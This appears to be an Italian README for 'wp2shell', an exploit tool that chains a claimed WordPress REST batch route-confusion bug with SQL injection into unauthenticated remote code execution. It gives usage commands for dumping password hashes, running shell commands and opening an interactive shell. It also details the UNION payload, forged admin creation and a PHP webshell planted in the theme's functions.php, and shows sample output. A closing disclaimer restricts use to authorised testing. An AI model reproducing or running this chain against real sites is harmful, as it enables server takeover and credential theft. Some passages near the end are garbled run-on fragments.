
CVE-2026-63030 / wp2shell
Catena di sfruttamento RCE per WordPress in un giorno. Non autenticato. CVSS 9.8.
Zero dipendenze — solo stdlib di Python 3.8+.
| Ramo | Vulnerabile | Corretto |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Due CVE concatenate in esecuzione remota di codice non autenticata:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL URL di base di WordPress (obbligatorio)
--check Solo sonda — non sfruttare
--dump-users Estrai tutte le credenziali utente tramite UNION SQLi
--read SQL Leggi un'espressione SQL scalare dal database
--cmd CMD Esegui un comando shell sul target
--shell Apri una shell interattiva
--user USER Nome utente admin (salta la creazione admin pre-autenticazione)
--password PASS Password admin (da usare con --user)
--proxy URL Proxy HTTP (es. http://127.0.0.1:8080)
--timeout SEC Timeout richiesta (default: 30)
--no-cleanup Lascia webshell e utente admin sul target
L'endpoint batch di WordPress su /?rest_route=/batch/v1 accetta un array di sotto-richieste. Quando una sotto-richiesta ha un percorso non analizzabile (///), viene aggiunto un WP_Error a $validation ma non a $matches. Il ciclo di dispatch abbina quindi la richiesta N al gestore N+1 — così una richiesta validata contro uno schema viene dispatcherizzata a un gestore diverso.
L'exploit invia un batch annidato a 3 livelli dove ogni livello usa un primer di desincronizzazione alla posizione 0 per spostare gli indici. La richiesta più interna — validata come elemento singolo (GET /wp/v2/posts/999999) — atterra sul gestore della collezione (posts->get_items()). Poiché lo schema dell'elemento non definisce author_exclude, il parametro passa non validato.
get_items() mappa author_exclude → author__not_in e lo passa a WP_Query. Quando author__not_in è una stringa (non un array), il blocco array_map('absint', …) viene saltato. La stringa grezza finisce direttamente in:
WHERE post_author NOT IN (<payload>)
Il payload 0) UNION ALL SELECT …-- - chiude la lista NOT IN e aggiunge SQL arbitrario.
Su WordPress 7.0.x wp_posts ha esattamente 23 colonne. Iniettando una riga falsificata tramite UNION ALL SELECT con orderby=none (sopprime il ORDER BY finale) e per_page=500 (mantiene WP_Query in modalità riga completa), il titolo del post falsificato — che trasporta un marker ||HEX|| — viene riflesso nella risposta REST. Tutti i valori stringa usano letterali esadecimali MySQL (0x…) per evitare problemi di escape delle virgolette attraverso la codifica URL.
[embed] → WordPress crea 3 righe oembed_cachewp_posts strutturate che formano una catena di changeset customizer[embed] viene renderizzato, attivando WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) e password (Wp2!<random>)Accedi come nuovo admin → estrai nonce dell'editor del tema → inietta webshell PHP protetta da token all'inizio del functions.php del tema attivo → accesso tramite ?t=<token>&c=<comando>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() prima di salvare. Se il contenitore non può raggiungere se stesso tramite hostname, la modifica del tema viene bloccata. Usa --dump-users + login manuale in questi casi.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Questo strumento è destinato esclusivamente a scopi di ricerca sulla sicurezza autorizzata e formazione. Usalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test. Gli autori declinano ogni responsabilità per un uso improprio.
| Passo | CVE | Vettore |
|---|
| 1 | CVE-2026-63030 | Disallineamento dell'indice REST /batch/v1 desincronizza la validazione dalla dispatcher |
| 2 | CVE-2026-60137 | Il parametro author__not_in di WP_Query salta absint() se passato come stringa |
| 3 | — | UNION SELECT forgia righe wp_posts; oEmbed → customizer → wp_insert_user |
| 4 | — | Autenticazione come amministratore appena creato |
| 5 | — | L'editor del tema inietta webshell protetta da token nel tema attivo |